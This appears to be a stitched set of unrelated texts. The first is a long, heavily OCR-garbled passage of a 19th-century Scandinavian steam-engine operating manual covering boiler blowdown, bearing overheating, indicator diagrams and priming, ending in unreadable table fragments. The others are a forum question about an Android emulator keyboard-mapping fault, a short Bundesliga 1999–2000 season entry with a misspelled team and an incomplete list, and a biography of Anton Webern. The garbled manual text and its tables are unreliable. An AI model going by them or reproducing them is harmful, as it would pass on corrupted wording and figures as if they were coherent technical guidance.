et legn paa ufulbpcenbig gorbranbing; i SDlettemtiben bor Kogen ooere Ipøgraa etter
ufpnlig. Staar ©antpuboiflingen, paa ®runb af fagte ®ang for tangere lib, Pal for*
minbpeé, bor agerumølugeme bangeø for. 92aar ber er poppel for fortere £ib aabner
Digitized by Google
€3
man Blot 3lbfleb«børene ; beroeb forminbfte* imiblertib Dampubsiftingen, uben at ©ranb*
felforBruget forminbffc*, 09 Slabning af 3lbfteb*børeue bor btrfor fun benptte* fom
miblertibig gorfiolb*regel. 9taar ber er floppet for gobt, rage* ©løbeme ub af 3®»
fleberne og fluffe* meb ©anb; bet borer tit gob Cfonomi at sarffoe om ©topningen
noget iforseien, faa at ber iffe fafle* friffe Æul paa fort fot Siben (fal rage* ub.
SHebfører Rullene* ©effajfenbeb at mange ©maaful faibe igjennem Stifterne, faa bør be
famle* og benptte* om igjen; berseb faae* rigtignof noget minbre Damp, enb naar
blot frijfe <tul benptte*, men bet b«nbet ofte, at man for en lib iffe bebeset eller i
alt galb for Ofonomien* ©fplb fan unbooere enbeel af fijeblen* ©robuction*e»ne.
§ 7. Stoejt efter gob gtjring er regelma*fig gøbning enb ©etingelfe for jeon
og tiljtraffelig Dampubsifling. gcbcpumpen gioer altib mere ©anb enb Rjeblen for*
bamper; men man finber let seb gorføg en faaban Stilling af gebefranen, at ©anb*
ftanben i Rjeblen bibebolber fig uforanbret. $enimob ben lib, ba Slfblaining ffal
finbe©teb, laber man ben flige noget, faa at man fan blafe ub ben fornobne ©tangbe
SBanb uben at faae for la» Banbftanb. 3lfblæ*ning bor i Sllminbeligbeb ftnbe ©teb
b»er lime og iffe fjtlbnere enb boeranben ; b»omeget man ffal blafe af, beroer paa
boormeget ©alt gobesanbet inbebolber. ©oeoanbet i be fione £a»e inbebolber omtrent
3%, og ba man iffe sil base oser 12% ©alt i Banbet i fijeblerne maa V« af go*
besanbet eller Va af bet forbampebe ©anb, aftfaa V3 Rubiffob pt. $ejlfraft og pr.
lime blafe* ub; seb ■jjjalp af Arealet af ©anbflaben i Rjeblen betegne* let bsot
meget benne Sanbmangbe bringer Sanbjlanben til at fpnfe, og man laber ba Sunb*
franen saere aaben inbtil ben forlangte ©pnfning er naaet. Denne gremgangSmaabe
er imiblertib ingenlunbe betrpggenbe for tangere lib; tbi ©altgebalten bo* gebesanbet
fan »are libt oser be paaregnebe 3%, og ba sil Oplø*ningen i Rjeblen efterbaanben
blise ftarfere 09 begpnbe at affatte ©alt. Ofteft er imiblertib gebesanbet* ©altgebalt
minbre, og man fpilber ba enbeel ©arme seb at blafe af mere enb bebo se*, ©egge
bi*fe Ulemper fan man unbgaae seb 4>jalp af ©alinometret; proser man nemlig meb
beite ©altgebalten benimob ben lib, ba 2tfbla*ning ffulbe base funbet©teb, faa sifer
bet fig, om man uben ©fabe fan bie langere eller blafe af libt minbre; finber man
seb ©alinometret florre ©eljalt enb 12%, faa er bet naturlig»»* nøbsenbigt, faa
fnart fora muligt at blafe af noget mere enb Va af gøbesanbet. Unbertiben forfpner
man Rjebleme meb ©umper (brine pumps), fom brist* af røajfinen og tage en si*
SKangbe af bet falte Sanb ub for bsert ©lag; man unbgaaer berseb ben Ujasnbeb i
Dampubsiflingen, fom let ftemfommer seb 9lfbla*ning af ben florre Sanbmangbe lib
efter anben; men naar man bruger faabanne ©umper, eller jtabig Slfblaøning gjennem
en Rran, fom fiele liben flaaer libt aaben, faa er ber intet fpnligt røoetfe paa at
Slfblaøning sirfelig finber ©teb, 09 ©alinometret maa berfor jesnlig benpttc*. Uagtet
3lfb(a*ntngen sil ber efterbaanben i Rjeblerne affatte fig ben faafalbte Rjeblefleen, bet
bejlaaet af forffjeHige «Stoffe, fom SBanbet inbebolber oplofl og laber faibe seb en tin*
gere Eoncentration enb 12 %; Half ogfieer ere af be bbPPigji forefommenbe ©efianbbele
i Rjebtefienen. Ofte inbebolber ogfaa ©anbet forfljellige Stoffe opflemmebe, og bi*fe
affatte fig ba for en Deet i Rjeblen fom faafalbet Stubber. ©nf>»er Rjtble beboser
berfor efter nogen lib* ©rug at tomme* ganffe og recngjore*. Det sit, af b»ab foran
er anført om ffijeblejlenen* SDiobjlanb mob ©armelebningen, sare flart, at man, langt
fra at fpare, tsertimob oberSranbfel seb at fpare for meget paa Slfbla*ningen, fsoortil
igitized by Google
64
lommer, at frø mait forft et tytt Sag Sjeblejteen raa 3(bgangen, faa forbranbe*
beme meget fort, og ber fan enbog obftaae gate for ©rplofton af Sjebten.
§ 7. ©teben* SWaffinen gaaer, maa maa man ftabig bare Opmærffombeben
benrenbt raa ade Sagere og So*ftnger; intet maa flaae og intet maa gaae »armt.
©fag eller ©tob i ©laflinen fjase {in ©runb i ©piderum ; i 9tlminbeligbeb ril man funne
bore og fee bror ©rillerummet er, ibet Sraften raa ben Deel, fora ftaaer, ffifter Otet=
ning; minbre ©lag opbage* reb at man folet raa be beratgebe SKaffinbele, enten meb
$aanben etler meb en fJSinb, l>ri« anben ©nbe man bolbet metlem loenberne. fUtan
maa iffe meb ©lag, frembragte af ©rillerum, forrejle be ©lag, fom Sentilerne og
ftunbom Sanbet i Sumperne gire, og fom uben ©fabe funne finbe ©teb, naar be fun
iffe blire for rolbfomme. Seb libt Sjenbffab til ©tajfinen blirer man imiblertib fnart
iftanb til at abffille Sentiiflagene fira be anbre. ©aafnart ©lag bemoerfe*, maa man
gjøre Stnjtalter til at jfaffe ©piderummet bort reb $jcelp af be bertil beftemte ©tibler
• — ©fruer eder Siler, brormcb Sageret* $alrbele funne nærme* til btnanben. Dil*
fatningen maa imiblertib foregaae meb gorfigtigbeb, tbi eder* orftaaer ben mobfatte
Ulempe, at Sageret gaaer rarmt. Det maa anfee* fom en geil reb en ©laffine, om
et Sager, bsorpaa ber gaaer nogen firaft, iffe er inbrettet til at ffrue* eller file* fant*
men efterbaanben fom bet blirer flibt.
Unber ©angen maa aUe be ©JajTinbele, fom gnibe mob binanben, bolbe* rei
fmurte meb lalg etler Olje eder en SBlanbing af begge De(e. lalg anrenbe* oreratt,
bror ben af Dampen* Sarme bolbe* fmeltet ; ben maa iforreien rare futbftaenbig befriet
fra ©anb og lignenbe Jing reb ©meltning og ©iening. Olje anrenbe* til ade Sagere;
be ftørre af biéfe faae ftabig Olje tilført reb be oftere omtalte Sager. Det pleier at
rare Megel, at ©laffiniflen, for ban gaaer af Sagt, ffat fmore runbt, b. e. fptbe ade
©morefopper og fole paa Sagente, om be ere fufbfommcn folbe. Slirer grietionen
noget ©teb, reb ©tangel paa ©mcrelfe, reb for baarb lilfatning eder reb at noget
ligger ffjart, forøget, faa berirfe* berreb Oprarmning; ba røetaderne ubribe {tg flart
fere enb Sageret* pbre Dele, ber gjerne ere af Jern, faa (tiger gtictionen meb lem*
peraturen, og b»i* ber iffe paSfe* paa, faa berirfe* fnart Orbebning nof til at fremt
bringe en ©meltning af ©tetadet* Oserflabe. Sageret ffjar ba i, fom bet fa!be«, og
enten fnaffer noget eder ©tajfinen ftanbfer. Det er berfor af boiefie Sigtigbeb at
bemarfe og jtanbfe faaban Oprarmning i Jibe. Det forjte man bar at gjore, naar et
Sager begpnber at blire lunfent, er at fo«ne Jilfatningen, om bette fan {fee unber
©angen, famt at fmore rigelig — b»!be Olje birecte neb gjennem ©morebudet, efter
at base ubtaget Sagen, om Sageret bar en faaban. ©aberanb, og Olje blanbet meb
©porlblomme bjcrlpe unbertiben, bror Olje adene iffe formaaer at {ianbfe Opsarmningen ;
bjalpe iffe bi*fe ©tibler, eder er Opsarmningen aderebe bettjbelig for ben marfe*, faa
maa matt, faafremt bet paa nogen ©taabe fan gaae an, floppe. Sun i 9?cb*falb tor
man flaae Sanb paa et rarmt Sager; be tpnbe Dele affjole* nemlig hurtigere og funne
let fprange* reb ©ammentrafningen. Derimob bruget tnan meb gorbeel at labe en
ftabig ©traale af folbt Sanb fpide paa be Sagere, fom ere meefi tilboielige til at gaae
rarme, t. ©r- §orebarelen* Sagere i ©fruemaffiner. Ogfaa ©tempelfianger gaae ftunt
bom faa trangt i fine SoSpngcr, at be ere tilboielige til at ffjare i; man liurcr ba
gjerne forfl en fTurrenbe Spb; men ber er i Jtlminbeligbeb ingen anben tlbrei enb at
Poppe, lofe Safningen og fTure be ©tetalbete af, fom bare fat fig paa ©tangen. Da
©tob iffe let blire faa farlige fom Sffiaeriug, gjor man bebjt i at labe ade Sagere
65
poere (øfi tilfatte naat man gaaet ub efter at bane bant bem fra btnanben, eg fatte
til efterfjaanben inbtil man netop faaer Stabene til at cpljote. Deit bcbjte ©etrtjggclfe
et naturligriis, at man jevnlig befalet enbrer Deel, forn et ubfat fot at gaae sann.
§ 8. Unber ©angen maa ©pntoetffombebeu ftabig parre bennenbt paa Saubfianbs*
taret, ©lanømetret og ©acumelrct ; be to fibfieø Slngirelfer inbforcø til fcefiemte libet i ©taffin*
journalen. SlntaKet af Slag, forn røajfinen uubetbe forffjellige ©mfierubigbeber bor gjore,
larer man fnatt af Erfaring at fjenbe, og CptaOing af ©lagene afgiper berfot et gobt
Gontrolmibbel meb at 81lt et i Crben. $ar man Jnbicator ornbotb, faa bot Diagrammet
Db efter anben tage«; tfii biøfe funne ofte lebe til Cpbagelfe af geil, forn man efletb
iffe let blioet opmarffom paa. Diagrammerne gig. 64, ber tilbore JReiffiner i fulb
©ang og meb Silt i ©rben, ere tibligere beffrepne ; i gig. 65 er bet optrufne Diagram
taget i en Diaffine meb Sornfebrrcegelfe for ©liben og betincO filobø jtillct rct Cubcn
af ©uen, bet priffebe berimob unber foroorigt famnte ©mfiaeubigbeber, men meb Slobfen
Pillet et ©tpffc inbpaa ©uen, altfaa forminbffet ©libeflag; bet Pifer, at Sjpanfonen
beroeb fommer ti! at begpnbc tibligere, forn $enfigten er, men tillige at Damptrpffet
aderebe fot ©orten luffeb aftager fjenbeligt paa ®runb af ?labningenO ©itererbeb, og
at Damp luffcO inbe og frembringer ©iobtrfif paa ©aritmfibeu unber pel en Jrebicbeel
af ©laget. 3 Sig- 66 er fammenfiidet to 3i>bicatorbiagrainmcr fra en furtiggaaenbe
©fruemajfine, bet optrufne peb fulb -fwpigbeb, bet priffebe oeb fagte ©ang meb nerfien
Iitffet ©trubcpentilj ben betpbelige gorpjcl paa ©aeum pifer, at Dampen iffe flippeø
^urtig nof frem til gortertteren (©aeunietretø ©tanb par lige i beg‘gc lilfaelbe), altfaa
at WflobOaabningerne ere før fmaac i gorfolb til >paftigbeben. 3 gig- 68 ere be øp=
trufne Siitier Diagrammer, fparenbe til rigtig ©tifliiig og ©coaegelfe af ©liben; af be
priffebe Siniet pifer A Diagrammet for ben orre, B for ben nebre Gube af Gplinberen,
faalebeO forn be Pilbc fremfomme om ©libepangen Par libt for fort. Gnfcrer ligneitbe
geil l;ar en tilfparenbe 3nbfit)belfe paa Diagrammet, og bet er i Sllminbeligbrb (et, af
bette at ublebe bi in. ©ren forn C betegne ingen geil bo« Srøaffinen, men fun at
SnbieatorcnS gjeber pibrerer libt for ben faaer fat pg i Sigepaegt mob Damptrpffcf.
§ 9. Side Sceffager fra et meb Damp fplbt 9tum ubab gipe fig tilfjenbe peb
Ubprontning af Damp; be fioppeø, efterfom ©eliggenfieben forer bet meb fig, peb
©roppe, peb Cmpifling meb Sit og ©eilbug, peb Sobning meb lin, o. b. Scrf foé
gortaetteren merrfeø paa ffiatnmetret og Peb en pibenbc Spb ; ben cplebeb peb •f»jcclp af
Spben eder peb at man forer en SfiOfiamme runbt omfring; benne pil ba fngeO inbab
ber bror Sarffen er; fiorre Sarffagcr funne naturligriio ogfaa maerfeO paa Ubfiremning
af Damp unber ffljennemblcnJningen. lidaber UtertfiebenO ©ejfaffenbcb eder Seliggenbeb
iffe Drtniitg meb en ©inb, Sit eller beéligc, faa fait man berntme ©anb op omfring
ben; bet firommer meget langfontmcte inb enb Stiften og tjener ialtfalb forn 3nbfproiG
ningbranb. Sort peb Gfilinberjlemplet eller medem ©libefjaefette og ©libeplanet tnerrfeO
paa, at bet er panffeligt at ftolbe ©aeunt, naar dltaffinen gaaer, og at gortaetteren Miner
burtig parm, naar SDiafTinen er fioppet. San man binbre ©pparmningeit Peb at fiide
©liben paa fiatrt ©lag, faa at ben altfaa luffer begge ©ørte, faa er Saeffen fioO
©templet; brt* iffe, faa er beit boS ©liben, eder begge ©teber. llflarbeb bo8 ©unt»
perne fremfoutmer font ofteft Peb ©mub$, Iroepinbe og beblige i Sentilaabningerne ;
ben maerfcO paa at pebfommenbe ©ttntpe iffe eder fun ufulbfiarnbigt gjor fit Slrbeibc;
bpilfen ©cntil bet er, forn er uflar, fan man i Sllminbeligbcb fomnte efter peb #jaelp
5
Digitized by Google
66
af be Slag, fom i fet: SWetalrentiler groe, naat be arbeibe. Cgfaa SSanbcta jfobrife
©trommen gjennem Slorene Bleier man at funne fole ubenpaa biafe.
Jfnæffca nogenting i en SMaffine, faa gjoelber bet at faae ftoppet faa (nirtigt
fom muligt, tf>i et qeart eller balnt Slag mere etler minbre fan bare megen 3itbfl^=
belfe paa $ararieta Ubftrafning. Ubenfor §araritilfcelbe bor naturligriia iffc en 2Ra*
ffine jtoppea uben lillabelfe fra ben, ber cominanbeter Sfibet.
$ 10. En af be bPPPigil forefomntenbe Ulemper unber en Dampmaffinea 33rug
er Crerfogning (priming), ber bejlaaer i at S3anbet bobler ftoerft op, felger i ftorre
etler minbre Mcengbc Dampen inb i IWajTinen, bror bet frembringer rolbfomme Stob i
©plinber og Slibe, eller rei enbog blacfee) ub gjennem ©ifferbebbocntilen og ©pilb*
bampéroret. Urecnt SJanb, plubfelig gorminbffelfe af Irpffet i Stjeblen, ujemi gtmng
og for libet Damprum ere be fcebranlige Starfager til Crctfogningcn. Silboieligbeb
til Orertogning gioer fig gjerne tilfjenbe reb ftcrrf Seoocgelfe af Sanbet i SSanbjlanba*
rorene. SWibler imob ben er at presfe folbt 2knb inb meb #aanbpumpe etler Donfep,
aabne Slbflcbébcrcne og paa Morfjebler titlige geierlugerne paa forrefte SJtegfabfe ;
bioelpcr iffe bette, faa jfpbea 3Iben fammeit op imob Slbbrpggen; berimob maa man
iffe aabne ©ifferbebarentilen etler foretage itogen goranbring reb IDiaffinen, fom tyitrtig
forminbffcr ©amptiptfet i Sjeblen. tit Sag Jalg, fpommenbe paa SSanbcta ©rerflabe,
binbrer noget Opboblingcn ; Sjebler, fom ere titboielige til Orertogning, bor berfor
roere forfpnebe meb en ftran etler ffientil, b et, tigjenncm man meb en Jrpfpmnpe fan
pteafe fmeltet £alg inb unber ©angen; man maa ifoer meb faabanne Sjebler rogte fig
for at foette SDiaffinen i ©ang meb fulb ffraft ftrap og faaribt muligt unbgaae at labe
Jrpffet i Æjeblen falbe, mebena gpringen er i fulb ©ang.
3kb Orerfogning, reb Saef i ftjeblen, jtunbom reb Uagtfomfjeb, fan bet træffe,
at en Decl af 3Ibftaben blirer blottet fot 93anb, og ubfoetteO for at blire glebenbe.
3 meget urene Sjebler fan ogfaa Saget af fijeblejieen roere faa tpft, og SBannelebningen
faa baarlig, at 31 bjieb«plaberne blire globenbe. 3tbcn maa ba oiebliffelig ragea ub,
men man maa iffe aabne ©ifferbebarentilen, og man laber SWajTinen gaae fin ©ang.
Stt preafe SBanb inb, for igjen at faae bet til at ffige orer ben terfogte Dcel af 31b’
flaten, tor iffe ffee, unbtagen naat man er ria paa, at ben fun par roeret tor ganjfe
fort $ib; tbi ber er ©tunb til at aittage, at berreb fan berirfea en plubfelig Damp»
ubrifling, ftorrf nof til at fproenge ftieblen ; i abffillige lilfoeibe teeb man nemlig, at
Sorfogning bar funbet ©teb fort for en Stplofton. "Jjlubfelig Slfjfalling af jtorre fJSar*
tier af fijeblejieen og ©rplofion af en SSlanbing af ©teenfulgaa og Suft i SReggangen
ere ogfaa formobebe Slarfaget til itjeblefproengninger, men, be Jilfaelbe fraregnebe, fro:
©ifferbebarentilen bar ræref fovbinbret i at rirfe, bar man fun fjelbcn funnet ubjtnbe
©rplojioncna 9farfag meb ©ifferbeb.
§ 11. lil enbrer SUlaffine boter en b ce l ®«l Webjfaber, faafom ©fujfer,
©pib og Diagere til gpring og Mudcmpning, ©frncnogler, Cljefanbcr, Jalgpanber og
©fer, Samper, Socrftoi til at ubbebre minbre ScjTabigelfer, o. b. (in gortcgnclfc orer
alle biafe ©ager — for Arigajfibcnea Sebfommenbe et Dieglement — bor altib folge
SRaffincn. gortegnelfcn bor iillige angire SWaffinena £orcbbimenfioncr, ffianbflanbena
©ænfning reb ?lfbI<rSning, Ulntallet af ©lag reb fulb ©ang, og b»ab Slnbet ber reb
SWaffinen fan rate at bemerrfe. gorbruga^Slrtiflerne for en ria lib ere inbtagne i
SRaffinreglementcrne. tfaa Icritgere Jogter forea i Sllmiitbcligbeb ogfaa enbeel SReferre,-
ftpffer meb.
t
67
§ 12. ©fjonbt bet ligger ubenfor benne S8og« IJJlan at affianbte Manonte og
©eillab« mcb DampjTibe, (Tutle bog nogle alminbelige SBemarfninger firemfatteO. Meb
jli» flufing imob pleie ©fritemaffincr at funne gaae bereé fabpanlige ©ang, uagtet
©fibcM $aftigf>eb bctpbeligt aftager, ibet nemlig ba ©lippen porer. $ju(maffiner ere
berimob ialminbefigbeb iffe unber faabanne ©infianbigbeber ijianb til at forbruge at
ben Damp fljeblerne funne frembringe, og man bor ba moberere Jprtngen. 3 frerr
@oe ere ^julene ubfatte for fnart at gribe fot libet, fnart for meget i Sanbet; man
bor ba iffe uben 9Jeb»enbigf)eb forfoge paa at benntte MafTinenS fulbe flraft, og jtebfe
paere flar peb ©trubeoenliien til at ffjcere Dampen af, om MafTiuen lober for fort.
©eil i ©ibeoinb tan et ©frueffib benptte fom et ©eilfTib; #julffibct berimob fan iffe
taale flor flrangning, og naar man iffe peb Sempning fan bringe bet nogenlunbe paa
ret fljol, gjor man bebrc i at minbftc ©eil. ©fruemafTinerne taale i Sllminbeligbcb
ogfaa bcbre enb ^julmajTinerne at gaae meb (lone $aftigf)cb cnb ben foeboanlige, men
man maa i begge fovge for, peb at luffe ©trubcpentilen for en Dcel eller ocb at bruge
ftorre (frpanfion naar man bertil bar 3nbretning, at Damptrtyftct i fljeblen iffe falber,
ibetminbjte albrig unber SttmofpboerenO.
Da Dampforbruget poser fom ^aftigbeben t Qfotenfen 3'/3, men ben i en otø
lib tilbagelagte Sei fun fom $afiigbeben feln, faa fan man meb en giren flulbebolb»
ning lilbagelagge en meget laitgere Sei peb at bruge fun en Deel af MafTinenS flraft
— t. @j. bet fealoe Slntal fljebler eller 3Ibfieber, eller enbnu minbre. Sten bcrotb
maa erinbreS, at forccret gl)rtng fpilber ©rænbfel, at man altfaa ftcbfe maa bare 31 b»
flcbet nof i Srug til meb moberat Sbring at gire Damp nof for ben 6rpanfton«grab
eller Slabning af ©trubcpentilen, fom man laber Maffincn gaae meb.
Sor Sugfering gjalber ben faebpanlige 9tege(, at man maa gaae fmaat til
©laberen er ftip. ffljalber bet imiblcrtib om at trceffc et ©fib af ©runb, og bet er
©fmejtib, fom bugferer, faa naaer man iffe Maalet paa ben MaaOe; fattes nemlig
©fruen igang meb ftip eller ncer ftip ©laber, faa roter ben Sanbct op og pirfer fun
libet foroper ; man maa ba tage noget gart forjl, og forge for ©laber, flart nof til
at taale Mpffet. $ju(bampffibc tabe ogfaa en Deel af bereS flraft, naar be fatte Ma»
(Tinen igang meb ftio ©laber, men iffe i famme ©rab fom ©frueiTibene.
9taar et DampfTib nanner fig SInTerplabfen, bot berom gipcS Uuberretning til
MajTinfolfene, for at 31bcnc Tunne pare nor ubbranbte, naar Slnferet falber ; 15 til 20
Minutter forub pil for 31bfleber af fabranlig ©torrelfe Pare tiPénof.
Sorub for eitbper Manoote meb MafTinen bor altib, peb ©ommanboorb eller
©ignal, parffoeé „ fl lar i MafTinen." Sillabc Cmjtanbigbcberne bet, faa bor ber
altib commanbereS „©agte" noget forub for „©top." Dtaar man er oi$ paa at ber
iffe er mere Srug for Darapfraften, oarfToeb „Sel i MafTinen" j inbtil ben lib ljolbeS
MafTinen flar til Manerrc.
Da man let peb 3agttagelfe fan ubftnbe ben ©lip, fom $ jul etler ©frue arbeibc
meb, faa fan Cptalling af ©lagene tjene fom Mibbel til at controllere Soggen; for»
OPrigt naoigereO et Dampjfib fom et ©eilfTib, Tun at man et opmarffom paa 1'ccal»
attrartionen, ber bor Pare unberfogt baabe meb og uben Damp oppe.
Digitized by Google
Digitized by Google
•fjpuBg i}| pioij.iojjp i utnjoø ffo 4ti|K.iad«ijjg suattweg
82 ~
M 2% £ M = (^) G» ~
fi i i i i i i S | 15 Åif i 1 1 1 i i i i| i i i§
2? rSts p ^ -J r* r* cr
P* F3 3* J?
P» r *
s
B
«
f»
(Tab. 2.)
■P-n II? jg—t? „» kS «1 6>!2 ^fe* §S3
®S J ^2f * 2?g® 5^ S =5 - og-fj
& ? Z = (55=8 ? §• J?:» 5, S. =;- s £= 3 P, S; 6) o 0=5 ■-£ 3.<^s = 2>
' t5rt 3 = , ’£'*’ cTS^sH-^&o
§~ ^ q ^*~ <*§ a
S
X»
■
s
£ I ££©©*£ 1 © © © £: co to^
MCOW^OCGPWC^CJO CO 1 *J C ^ CC W 1 ©*»-©©tO©Hk-0-
8«Jtgtc.
6»
•»
023
o
>JD
***
(ta
»
2
-t5
cr
r*
tft
O
G
02-
C-
i*
<-*
=5
o*
2
o
lOD
a
§
‘■£9
^ — r‘trrt'“< 0 ^ 0 ^ 0 ^*- i - to rowuu^ .u. co ***►*»• y» y*
©•fe-©©©©© — — — oc o | O^COOO ] o <* w CO 05 «4 *-*■ >-*>»
o* -4 co c» * •— ■ 60 CO 1 i^ODtHO CBO>'
^rel>te.
ptto.jJfc^JOO-^JOQOOoI^^S en | © S S CO h* | W *^W
U* D* © C» ' co '- 1 /O y» CO c cc c.
rul'g<waente.
y-..._~.^'-- Lui '" i *- i coy»© , ^ co co to co y» c,-» co ^r -a © ©□
©■**©0D©i-»cc©coyi<»© © •- o; r. x co r. ^ x w (O c a- © d
©©►“‘■-4yti-n;o©©©COrO © WCCWM*- W-JOCOCOC-»
2Mtrtel#i'anté
Areal.
- y» © © *►• co co co oh .t* y» i *-y».t*y»*»-a»yi©f»*
«-‘■©©.U-«jHkCO©eCtO©tO ^ O *►*»■<* » 1 c«to-©>ft»-©©©C3-
(ielmeereuéDiamt.
*OtOCOtOCOtOCOCOCOiC»-OeO tO tO tO tO CO CO CO . CO tO <-»■ tO tO tO CO ZPm
©•to-H*.Q0CO©.fc*-©.to-©©^I tøtCiOWC WW ' ©©©— ©tOto'*
©Ingeté Secngbe.
i^i^^i^tétOiOtOtOtO >-*•*•• Ct C 1 C W i*- i» i» *• C 1 03 ^) C C< C’ W
©©*>■©© y» ©CO© tO-H-‘ iOOOOOCCtCOODOOCJCOOOj^H^iOOS
' — ' co
?lntal ©lag.
II M- H. tO . . Hk CO tO 0- , «—•CO^-COCOO^-rr =
gi i gssigggi i ^gggøgs i slss-lgs»
9lem. ^eftfraft.
© © C 4- ©^3 -* 1 3 1 ©©~|£©5 1 M 1 1 1 §M CP S
co - —
Injf i JtjeMeit.
;* | | 1 1^1 | 1 g 1 =^5=
ttyvauftcn.
T* t'*' tO *— i *— ^O h-k ►— h— y* i-k ►*» <0 <0 ^
wpHpfcjpJiOOTpwoip i h* fea h^ cn rf** cp | cn 1 | | J* | h* p s
æ æ~TC 2 ~j io ’-.) — W ok.ki ’ 1 co ‘ b mo’
©eregnet Jntetr.
P | j ps ^o cn *o | | zp © SS. ©| Sl S. ZZXl c£
-.i cp h* co «a co © yt y» »j i- cn to © Hk y» r»
Cbferterct 3nKtr.
iOM--‘>-*COWC5MiOiU-©©C^C*t«0|t*
St 1 , “il *»• oj ■ j *. cp © co © t*- © i* w yx c. f. © © y w 3 w ei c v) ©
©irfdig ^eftfraft
cocooSSSSSSsSz^
CT-C5 CP iD tO CP
►— ►— _ ^
•fcltll» © © © © to «O Ci* 1 c CJ' to f O» C.-» © © w
Cnimrtrr. * * * l * * * * * * * * •
© ^ O» © © C4»
©fruene diameter.
^©©©ii©Si^©l ^ c^
-'imaisrcfi ri — S 3 g S S5 | Si — ~ — 0 S2 o»
© a» co ' c» co u» ►■*■ c» co
Stigning.
wtooæaoKMo^lSo
c» to ^ co co c» ©
i ©h’»i P P P P P P p . 99 9 9 9 ? P P
»lt O^Of*h*t-|i | c^MhkO^KC
© © ©to CC to ►* 3©4*©©CJ»4-©
1 ©lat ©ruf af
©jcengen.
B
2
00 P ^ QO <1 pc. CO 00 © 00 © s H*©©©©®©-4-0©C0C0©©©S?
Z£ to t£ ©© CC^MOC.ib.-iCDMWacflWJCQa»^
©eregnet.
U
9°©S»a<ipopo©ti©S^ ^ CO CJ» QC 00 | - 0 | CO CO © -jf© 0 to 3
co co co o» © ifc»- -.i^co^ m © © ©©©t^-co c/« co «a ©' 6 ».t-^
Cbferwrct.
^^^cF«©^coS©S^co
Sltl- i 7. P 1 1 1 I P I I pooppi . o
af 3 rtrr. co* * * ‘ © ' '©-a-ki-j-j* '©
©Favt?IjetCfi'eff. (f
♦>»
— t
t»
F
« e & >s a /* ?, n >3 n
=. e.
' s ' !»■ ^
§ e = 5‘
» I ~ "
,_ 3 -s S
0 •* =
^•3 ?
i £
= a
gli
■ Sl
3 *
3
-SlU» til frf* ££ u» cj» c. - » co *»• •&• cj» •£»• © **j -j o» o» c» c»
regnet gan. ^,“a©-^©to©©©©cf»©©tow»-*-
©eregnet
2 —
H E
^ C£» © o» co | 0*1 cj»©^ 3 a»y»o»y»
^ © © © y» w 1 ©1 © © © ** Hk to >-k
Obfereerct
| . 2 i jif gf| ti
g l‘ « « ? | §
• ooco — 32/-,®2 s — 2 ^
• • • • w :. •! w c. ; c •«• " — -
® |#|t.f ? f| «3
« -"«å I" g ? ? |ts
1 ® f | ? i ^gsl
|? ® s-p"? * 5 ? el-
S f å f g S « 5 3 2
& 3? S i ~ St.
! ?Jp|S « ? i ? l
I? i if 1 * |
a ? ? ? S
«
8
3
2
*-«
3.
S*
s»
ry
r*
DiQinzad-t^Google
Digitized by Google
Digitized by Google
Digitized by Google
Tig.lS.
HR
ii
mft:: ;
lill v
1
Digitized by Google
Digitized by Google
|
<p>I have been using the Android Studio emulators for a while, but since a few days the mapping is broken. I have an azerty keyboard on my laptop, and when I type something, it appears as qwerty on the emulator (typing 'a' on the laptop will show 'q' on the emulator). Using the soft keyboard of the emulator works as expected, no matter if the soft keyboard is azerty or qwerty.</p>
<p>This issue appears on all emulators. I have tried to create a new emulator and cold booting. I can't seem to find a setting to change the mapping.</p>
<p>Is there a hidden setting or shortcut I can use to fix this?</p> |
The 1999-2000 Fußball-Bundesliga was the 37th season of the Fußball-Bundesliga. The season started on August 13, 1999 and ended on May 20, 2000. The defending champions were Bayern Munich. Bayern Munich won the league with 73 points.
Teams
1. FC Kaiserslautern
1860 Munich
Arminia Bielefeld
Bayer Leverkusun
Bayern Munich
Borussia Dortmund
Eintracht Frankfurt
Hamburger SV
Hansa Rostock
Hertha BSC
MSV Duisburg
Schalke 04
SC Freiburg
SSV Ulm
SpVgg Unterhaching
VfB Stuttgart
VfL Wolfsburg
League table
Top goalscorers
Other websites
DFB Bundesliga archive 1999/2000
Bundesliga seasons
1999 in association football
2000 in association football
1990s in Germany
2000s in Germany
2000 in Europe |
Anton Webern (born Vienna 3 December 1883; died Mitterill 15 September 1945) was an Austrian composer. Webern and Alban Berg were the most famous pupils of Arnold Schoenberg, the composer who had invented the twelve tone system. This style of composition is often called the “Second Viennese School”. Webern was probably Schoenberg’s first pupil, and Berg joined them a few weeks later. Webern used the rules of the twelve tone system very strictly in his music. His compositions had a lot of influence on composers of the mid-20th century who were interested in serialism, especially Karlheinz Stockhausen and Pierre Boulez. Most of Webern’s compositions are very short.
Life
Early years
Anton was born Anton von Webern. Webern’s father was a mining engineer who later got an important government job. The family had belonged to the nobility which is why they had “von” before the family name. In 1918 a law was made in Austria to stop people from using “von” as part of their name, and so from then onwards he was always known as “Anton Webern”. Anton learned to play the cello and the piano. They had a country house where the family spent the summer, and the young boy spent a lot of time composing, especially songs to the poems of famous German poets such as Stefan George and Richard Dehmel. Together with his friend and cousin Ernst he read the philosophical books of Friedrich Nietzsche, studied modern paintings and listened to the music of Richard Wagner. His father took him to the Bayreuth Festival.
He went to study at the University of Vienna where he continued to compose a lot of music. By 1906 he had been given a doctorate for writing about the composer Heinrich Isaac.
Influence of Schoenberg
When Webern became a pupil of Schoenberg he was joining a small group of musicians who were to be lifelong friends. Alban Berg was a member of this group. The music these people were writing sounded very modern at the time and they had to face a lot of criticism. Berg and Webern were official pupils of Schoenberg only for two years, but they continued to work with him, often copying out music for him. They also helped him financially and, when Schoenberg moved to Berlin, Webern moved there to be near him.
Mid career
Webern composed more twelve-tone music during these years. He also worked as a conductor to earn some money. He was only interested in music by German and Austrian composers. He tried to get several teaching jobs, but the only one he managed to get was at the Israel Institute for the Blind in Vienna, where he taught for six years.
Later years
During the 1930s Webern faced many difficulties. He did not have much money, Schoenberg went to live in France and then the United States because of the political situation in Europe. Alban Berg died in 1935 and his own conducting career came to an end. When the Nazis came to power in Austria they banned Webern’s music because they thought it was bad (they called it “degenerate art”). His son was killed fighting in World War II. Four months after the war had ended he was sitting on the veranda of his daughter’s house smoking a cigar after dinner when he was shot dead by one of the occupying troops. He should have been inside because there was a curfew on. His son-in-law had just been arrested for selling things on the black market.
His music
Webern’s early music was in the style of expressionism. Later he wrote using the twelve tone system. He liked using very high and very low notes, as well as silences in his music. Although most of his pieces were very short, every note was carefully planned. Officially he composed 31 works, and these fit onto 6 CDs. A lot of his music still sounds very modern to us today.
References
Groves Dictionary of Music Online
1883 births
1945 deaths
20th-century composers
Austrian composers
